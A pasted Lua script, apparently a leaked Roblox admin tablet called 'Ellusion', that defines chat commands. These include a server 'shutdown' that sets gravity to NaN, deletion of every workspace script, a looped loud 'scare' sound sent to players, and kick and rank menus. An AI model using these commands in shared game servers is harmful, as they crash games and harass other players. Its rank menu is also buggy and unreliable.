- Ellusion.Functions.AddCommand('Ask for rank up','rq','Rank up required.',0,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker)
- if Ellusion.Functions.GetRank(Speaker) < 2 then
- Ellusion.Functions.Output(Speaker, "You Are Now Asking For A RankUp", "Really red")
- Ellusion.Functions.Output(Speaker, "Wait Until One Of The Higher Ranks Rank You", "Really red")
- end
- end)
- function DestroyScript()
- for i,v in pairs(workspace:children()) do
- if v:IsA('Script') then
- v:Destroy()
- end
- end
- end
- Ellusion.Functions.AddCommand('Destroy script','destroys','Destroy\'s a script',7,function(Speaker, Msg)
- DestroyScript(Speaker)
- end)
- Ellusion.Functions.AddCommand('Shutdown','sd','Shuts down the whole server.',6,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker)
- Ellusion.Functions.Output(Speaker,'5','White')
- function alert(txt,plr,duration)
- if not duration then
- duration = 2
- end
- local SysAlert = Instance.new("ScreenGui")
- local SysAlertFrame = Instance.new("Frame")
- local FrameEffects = Instance.new("Frame")
- local AlertTxt = Instance.new("TextLabel")
- SysAlert.Name = "SysAlert"
- SysAlert.Parent = plr.PlayerGui
- SysAlert.ResetOnSpawn = false
- SysAlertFrame.Name = "SysAlertFrame"
- SysAlertFrame.Parent = SysAlert
- SysAlertFrame.BackgroundColor3 = Color3.new(0, 0, 0)
- SysAlertFrame.BorderSizePixel = 0
- SysAlertFrame.Size = UDim2.new(0, 0, 0.100000001, 0)
- SysAlertFrame:TweenSize(UDim2.new(0.3, 0, 0.100000001, 0))
- SysAlertFrame.Position = UDim2.new(0.7,0,0.9,0)
- FrameEffects.Name = "FrameEffects"
- FrameEffects.Parent = SysAlertFrame
- FrameEffects.BackgroundColor3 = Color3.new(1, 1, 1)
- FrameEffects.BorderSizePixel = 0
- FrameEffects.Position = UDim2.new(0.0250000004, 0, 0.824999988, 0)
- FrameEffects.Size = UDim2.new(0.949999988, 0, 0.0250000004, 0)
- AlertTxt.Name = "AlertTxt"
- AlertTxt.Parent = SysAlertFrame
- AlertTxt.BackgroundColor3 = Color3.new(1, 1, 1)
- AlertTxt.BackgroundTransparency = 1
- AlertTxt.Position = UDim2.new(0.0250000004, 0, 0, 0)
- AlertTxt.Size = UDim2.new(0.949999988, 0, 0.800000012, 0)
- AlertTxt.Font = Enum.Font.SourceSansLight
- AlertTxt.FontSize = Enum.FontSize.Size14
- AlertTxt.Text = txt
- AlertTxt.TextColor3 = Color3.new(1, 1, 1)
- AlertTxt.TextScaled = true
- AlertTxt.TextWrapped = true
- AlertTxt.TextXAlignment = Enum.TextXAlignment.Left
- delay(duration,function()
- for i,v in pairs(SysAlertFrame:GetChildren()) do
- if v:IsA("TextLabel") or v:IsA("TextButton") then
- v.Text = ""
- end
- end
- SysAlertFrame:TweenSize(UDim2.new(0,0,0.100000001,0))
- delay(1,function() SysAlert:Destroy() end)
- end)
- end
- function alertall(txt,duration)
- for i,v in pairs(game.Players:GetChildren()) do
- alert(txt,v,duration)
- end
- end
- alertall("[Ellusion]Server Shutting Down In 5")
- wait(1)
- Ellusion.Functions.Output(Speaker,'4','White')
- function alert(txt,plr,duration)
- if not duration then
- duration = 2
- end
- local SysAlert = Instance.new("ScreenGui")
- local SysAlertFrame = Instance.new("Frame")
- local FrameEffects = Instance.new("Frame")
- local AlertTxt = Instance.new("TextLabel")
- SysAlert.Name = "SysAlert"
- SysAlert.Parent = plr.PlayerGui
- SysAlert.ResetOnSpawn = false
- SysAlertFrame.Name = "SysAlertFrame"
- SysAlertFrame.Parent = SysAlert
- SysAlertFrame.BackgroundColor3 = Color3.new(0, 0, 0)
- SysAlertFrame.BorderSizePixel = 0
- SysAlertFrame.Size = UDim2.new(0, 0, 0.100000001, 0)
- SysAlertFrame:TweenSize(UDim2.new(0.3, 0, 0.100000001, 0))
- SysAlertFrame.Position = UDim2.new(0.7,0,0.9,0)
- FrameEffects.Name = "FrameEffects"
- FrameEffects.Parent = SysAlertFrame
- FrameEffects.BackgroundColor3 = Color3.new(1, 1, 1)
- FrameEffects.BorderSizePixel = 0
- FrameEffects.Position = UDim2.new(0.0250000004, 0, 0.824999988, 0)
- FrameEffects.Size = UDim2.new(0.949999988, 0, 0.0250000004, 0)
- AlertTxt.Name = "AlertTxt"
- AlertTxt.Parent = SysAlertFrame
- AlertTxt.BackgroundColor3 = Color3.new(1, 1, 1)
- AlertTxt.BackgroundTransparency = 1
- AlertTxt.Position = UDim2.new(0.0250000004, 0, 0, 0)
- AlertTxt.Size = UDim2.new(0.949999988, 0, 0.800000012, 0)
- AlertTxt.Font = Enum.Font.SourceSansLight
- AlertTxt.FontSize = Enum.FontSize.Size14
- AlertTxt.Text = txt
- AlertTxt.TextColor3 = Color3.new(1, 1, 1)
- AlertTxt.TextScaled = true
- AlertTxt.TextWrapped = true
- AlertTxt.TextXAlignment = Enum.TextXAlignment.Left
- delay(duration,function()
- for i,v in pairs(SysAlertFrame:GetChildren()) do
- if v:IsA("TextLabel") or v:IsA("TextButton") then
- v.Text = ""
- end
- end
- SysAlertFrame:TweenSize(UDim2.new(0,0,0.100000001,0))
- delay(1,function() SysAlert:Destroy() end)
- end)
- end
- function alertall(txt,duration)
- for i,v in pairs(game.Players:GetChildren()) do
- alert(txt,v,duration)
- end
- end
- alertall("[Ellusion]Server Shutting Down In 4")
- wait(1)
- Ellusion.Functions.Output(Speaker,'3','White')
- function alert(txt,plr,duration)
- if not duration then
- duration = 2
- end
- local SysAlert = Instance.new("ScreenGui")
- local SysAlertFrame = Instance.new("Frame")
- local FrameEffects = Instance.new("Frame")
- local AlertTxt = Instance.new("TextLabel")
- SysAlert.Name = "SysAlert"
- SysAlert.Parent = plr.PlayerGui
- SysAlert.ResetOnSpawn = false
- SysAlertFrame.Name = "SysAlertFrame"
- SysAlertFrame.Parent = SysAlert
- SysAlertFrame.BackgroundColor3 = Color3.new(0, 0, 0)
- SysAlertFrame.BorderSizePixel = 0
- SysAlertFrame.Size = UDim2.new(0, 0, 0.100000001, 0)
- SysAlertFrame:TweenSize(UDim2.new(0.3, 0, 0.100000001, 0))
- SysAlertFrame.Position = UDim2.new(0.7,0,0.9,0)
- FrameEffects.Name = "FrameEffects"
- FrameEffects.Parent = SysAlertFrame
- FrameEffects.BackgroundColor3 = Color3.new(1, 1, 1)
- FrameEffects.BorderSizePixel = 0
- FrameEffects.Position = UDim2.new(0.0250000004, 0, 0.824999988, 0)
- FrameEffects.Size = UDim2.new(0.949999988, 0, 0.0250000004, 0)
- AlertTxt.Name = "AlertTxt"
- AlertTxt.Parent = SysAlertFrame
- AlertTxt.BackgroundColor3 = Color3.new(1, 1, 1)
- AlertTxt.BackgroundTransparency = 1
- AlertTxt.Position = UDim2.new(0.0250000004, 0, 0, 0)
- AlertTxt.Size = UDim2.new(0.949999988, 0, 0.800000012, 0)
- AlertTxt.Font = Enum.Font.SourceSansLight
- AlertTxt.FontSize = Enum.FontSize.Size14
- AlertTxt.Text = txt
- AlertTxt.TextColor3 = Color3.new(1, 1, 1)
- AlertTxt.TextScaled = true
- AlertTxt.TextWrapped = true
- AlertTxt.TextXAlignment = Enum.TextXAlignment.Left
- delay(duration,function()
- for i,v in pairs(SysAlertFrame:GetChildren()) do
- if v:IsA("TextLabel") or v:IsA("TextButton") then
- v.Text = ""
- end
- end
- SysAlertFrame:TweenSize(UDim2.new(0,0,0.100000001,0))
- delay(1,function() SysAlert:Destroy() end)
- end)
- end
- function alertall(txt,duration)
- for i,v in pairs(game.Players:GetChildren()) do
- alert(txt,v,duration)
- end
- end
- alertall("[Ellusion]Server Shutting Down In 3")
- wait(1)
- Ellusion.Functions.Output(Speaker,'2','White')
- function alert(txt,plr,duration)
- if not duration then
- duration = 2
- end
- local SysAlert = Instance.new("ScreenGui")
- local SysAlertFrame = Instance.new("Frame")
- local FrameEffects = Instance.new("Frame")
- local AlertTxt = Instance.new("TextLabel")
- SysAlert.Name = "SysAlert"
- SysAlert.Parent = plr.PlayerGui
- SysAlert.ResetOnSpawn = false
- SysAlertFrame.Name = "SysAlertFrame"
- SysAlertFrame.Parent = SysAlert
- SysAlertFrame.BackgroundColor3 = Color3.new(0, 0, 0)
- SysAlertFrame.BorderSizePixel = 0
- SysAlertFrame.Size = UDim2.new(0, 0, 0.100000001, 0)
- SysAlertFrame:TweenSize(UDim2.new(0.3, 0, 0.100000001, 0))
- SysAlertFrame.Position = UDim2.new(0.7,0,0.9,0)
- FrameEffects.Name = "FrameEffects"
- FrameEffects.Parent = SysAlertFrame
- FrameEffects.BackgroundColor3 = Color3.new(1, 1, 1)
- FrameEffects.BorderSizePixel = 0
- FrameEffects.Position = UDim2.new(0.0250000004, 0, 0.824999988, 0)
- FrameEffects.Size = UDim2.new(0.949999988, 0, 0.0250000004, 0)
- AlertTxt.Name = "AlertTxt"
- AlertTxt.Parent = SysAlertFrame
- AlertTxt.BackgroundColor3 = Color3.new(1, 1, 1)
- AlertTxt.BackgroundTransparency = 1
- AlertTxt.Position = UDim2.new(0.0250000004, 0, 0, 0)
- AlertTxt.Size = UDim2.new(0.949999988, 0, 0.800000012, 0)
- AlertTxt.Font = Enum.Font.SourceSansLight
- AlertTxt.FontSize = Enum.FontSize.Size14
- AlertTxt.Text = txt
- AlertTxt.TextColor3 = Color3.new(1, 1, 1)
- AlertTxt.TextScaled = true
- AlertTxt.TextWrapped = true
- AlertTxt.TextXAlignment = Enum.TextXAlignment.Left
- delay(duration,function()
- for i,v in pairs(SysAlertFrame:GetChildren()) do
- if v:IsA("TextLabel") or v:IsA("TextButton") then
- v.Text = ""
- end
- end
- SysAlertFrame:TweenSize(UDim2.new(0,0,0.100000001,0))
- delay(1,function() SysAlert:Destroy() end)
- end)
- end
- function alertall(txt,duration)
- for i,v in pairs(game.Players:GetChildren()) do
- alert(txt,v,duration)
- end
- end
- alertall("[Ellusion]Server Shutting Down In 2")
- wait(1)
- Ellusion.Functions.Output(Speaker,'1','White')
- function alert(txt,plr,duration)
- if not duration then
- duration = 2
- end
- local SysAlert = Instance.new("ScreenGui")
- local SysAlertFrame = Instance.new("Frame")
- local FrameEffects = Instance.new("Frame")
- local AlertTxt = Instance.new("TextLabel")
- SysAlert.Name = "SysAlert"
- SysAlert.Parent = plr.PlayerGui
- SysAlert.ResetOnSpawn = false
- SysAlertFrame.Name = "SysAlertFrame"
- SysAlertFrame.Parent = SysAlert
- SysAlertFrame.BackgroundColor3 = Color3.new(0, 0, 0)
- SysAlertFrame.BorderSizePixel = 0
- SysAlertFrame.Size = UDim2.new(0, 0, 0.100000001, 0)
- SysAlertFrame:TweenSize(UDim2.new(0.3, 0, 0.100000001, 0))
- SysAlertFrame.Position = UDim2.new(0.7,0,0.9,0)
- FrameEffects.Name = "FrameEffects"
- FrameEffects.Parent = SysAlertFrame
- FrameEffects.BackgroundColor3 = Color3.new(1, 1, 1)
- FrameEffects.BorderSizePixel = 0
- FrameEffects.Position = UDim2.new(0.0250000004, 0, 0.824999988, 0)
- FrameEffects.Size = UDim2.new(0.949999988, 0, 0.0250000004, 0)
- AlertTxt.Name = "AlertTxt"
- AlertTxt.Parent = SysAlertFrame
- AlertTxt.BackgroundColor3 = Color3.new(1, 1, 1)
- AlertTxt.BackgroundTransparency = 1
- AlertTxt.Position = UDim2.new(0.0250000004, 0, 0, 0)
- AlertTxt.Size = UDim2.new(0.949999988, 0, 0.800000012, 0)
- AlertTxt.Font = Enum.Font.SourceSansLight
- AlertTxt.FontSize = Enum.FontSize.Size14
- AlertTxt.Text = txt
- AlertTxt.TextColor3 = Color3.new(1, 1, 1)
- AlertTxt.TextScaled = true
- AlertTxt.TextWrapped = true
- AlertTxt.TextXAlignment = Enum.TextXAlignment.Left
- delay(duration,function()
- for i,v in pairs(SysAlertFrame:GetChildren()) do
- if v:IsA("TextLabel") or v:IsA("TextButton") then
- v.Text = ""
- end
- end
- SysAlertFrame:TweenSize(UDim2.new(0,0,0.100000001,0))
- delay(1,function() SysAlert:Destroy() end)
- end)
- end
- function alertall(txt,duration)
- for i,v in pairs(game.Players:GetChildren()) do
- alert(txt,v,duration)
- end
- end
- alertall("[Ellusion]Server Shutting Down In 1")
- Ellusion.Functions.Dismiss(Speaker)
- Ellusion.Functions.Output(Speaker,'[Ellusion]: Server Has Been Shutdown!'..Msg,'Really red')
- wait(.5)
- for i,v in pairs(game.Players:GetPlayers()) do
- if v then
- workspace.Gravity=0/0
- end
- end
- m = Instance.new("Message", workspace) m.Text = "Ellusion: Server Has Been Shutdown from one of the admins. Sorry about that!" wait(10) m:Destroy()
- end)
- Ellusion.Functions.AddCommand('Update','update','Updates Script.',7,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker)
- Ellusion.Functions.Output(Speaker, "Ellusion Is Now Updating..", "Really red")
- end)
- Ellusion.Functions.AddCommand('Finished','finished','Updates Script.',7,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker)
- Ellusion.Functions.Output(Speaker, "Updates Have Finished!", "Lime green")
- end)
- Ellusion.Functions.AddCommand('Players','players','View all players',3,function(Speaker, Msg)
- Ellusion.Functions.Dismiss(Speaker)
- for _,Player in pairs(game:GetService("Players"):GetPlayers()) do
- Ellusion.Functions.Output(Speaker, Player.Name, Ellusion.Functions.GetColor(Player), function() Ellusion.Functions.Dismiss(Speaker)
- Ellusion.Functions.Output(Speaker, 'Name : '..Player.Name, Ellusion.Functions.GetColor(Player))
- Ellusion.Functions.Output(Speaker, 'AccountAge : '..Player.AccountAge, Ellusion.Functions.GetColor(Player))
- Ellusion.Functions.Output(Speaker, 'UserId : '..Player.userId, Ellusion.Functions.GetColor(Player))
- Ellusion.Functions.Output(Speaker, 'Player Rank : '..Ellusion.Functions.GetRank(Player), 'New Yeller')
- Ellusion.Functions.Output(Speaker, 'Player Color : '..Ellusion.Functions.GetColor(Player),Ellusion.Functions.GetColor(Player))
- Ellusion.Functions.Output(Speaker, 'Kick Player', 'Really red', function() Ellusion.Functions.Dismiss(Speaker) Ellusion.Functions.Kick(Player) end)
- Ellusion.Functions.Output(Speaker, 'Rank User','Lime green',function()
- Ellusion.Functions.Dismiss(Speaker)
- Ellusion.Functions.Output(Speaker, '[1]','Really red',function()
- Ellusion.Ranked[Speaker.Name]['Rank'] = 1
- Ellusion.Functions.Output(Speaker, 'Set users rank to 1', true)
- wait(3)
- Ellusion.Functions.Dismiss(Speaker)--Rank system not working currently :c
- end)
- Ellusion.Functions.Output(Speaker,'[2]',':Lime green',function()
- Ellusion.Ranked[Speaker.Name]['Rank'] = 2
- Ellusion.Functions.Output(Speaker, 'Set users rank to 2', true)
- wait(3)
- Ellusion.Functions.Dismiss(Speaker)
- end)
- Ellusion.Functions.Output(Speaker,'[3]','White',function()
- Ellusion.Ranked[Speaker.Name]['Rank'] = 3
- Ellusion.Functions.Output(Speaker, 'Set users rank to 3', true)
- wait(3)
- Ellusion.Functions.Dismiss(Speaker)
- end)
- Ellusion.Functions.Output(Speaker,'[4]','New Yeller',function()
- Ellusion.Ranked[Speaker.Name]['Rank'] = 4
- Ellusion.Functions.Output(Speaker, 'Set users rank to 4', true)
- wait(3)
- Ellusion.Functions.Dismiss(Speaker)
- end)
- Ellusion.Functions.Output(Speaker,'[5]','Light blue',function()
- Ellusion.Ranked[Speaker.Name]['Rank'] = 5
- Ellusion.Functions.Output(Speaker, 'Set users rank to 5', true)
- wait(3)
- Ellusion.Functions.Dismiss(Speaker)
- end)
- Ellusion.Functions.Output(Speaker,'[6]','White',function()
- Ellusion.Ranked[Speaker.Name]['Rank'] = 6
- Ellusion.Functions.Output(Speaker, 'Set users rank to 6', true)
- wait(3)
- Ellusion.Functions.Dismiss(Speaker)
- end)
- Ellusion.Functions.Output(Speaker,'[7]','Really black',function()
- Ellusion.Ranked[Speaker.Name]['Rank'] = 7
- Ellusion.Functions.Output(Speaker, 'Set users rank to 7', true)
- wait(3)
- Ellusion.Functions.Dismiss(Speaker)
- end)
- end)
- end)
- end
- end)
- Ellusion.Functions.AddCommand('Set Color','setc','Sets your color.',1,function(Plr,Name)
- Ellusion.Functions.SetColor(Plr, Name)
- Ellusion.Functions.Output(Plr, "New Color:\n"..Ellusion.Functions.GetColor(Plr))
- end)
- Ellusion.Functions.AddCommand('Sound search','sm','Sound searches music.',1,function(Plr,Name)
- Ellusion.Functions.SoundSearch(Plr,Name)
- end)
- Ellusion.Functions.AddCommand('Scare','scare','Scares the whole server.',6,function(Speaker, Msg)
- local gPlayers=Ellusion.Functions.GetPlayers(Speaker, Msg)
- for i,v in pairs(gPlayers) do
- local s = Instance.new("Sound", v:FindFirstChild('PlayerGui'))
- s.SoundId="rbxassetid://170755561"
- s.Looped=true
- s.Volume=1e1
- s:Play()
- end
- end, false)
- Ellusion.Functions.AddCommand('Explore','explore','Explore from Ellusion/Tablet.',4,function(Speaker, Msg)
- Ellusion.Functions.Explore(Speaker)
- end)
- game:GetService("Players").PlayerAdded:connect(function(plr)
- local type = nil
- if type == 'join' then
- Ellusion.Functions.Output(player.Name.. ' Has joined the game!', 'Lime green')
- end
- --[[plr.Chatted:connect(function(msg)
- Ellusion.Functions.OnChatted(plr, msg)
- end)]]--
- end)
- ---Ranks---
- game:GetService("RunService").Heartbeat:connect(Ellusion.Functions.RotateTabs)
- stime=tick()
- warn("Thank You For Running Ellusion!")
- warn("If You Are Using Ellusion you either saw the leaked one!")
- warn("Please do not abuse")
- warn("Made by Dr_Coton")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement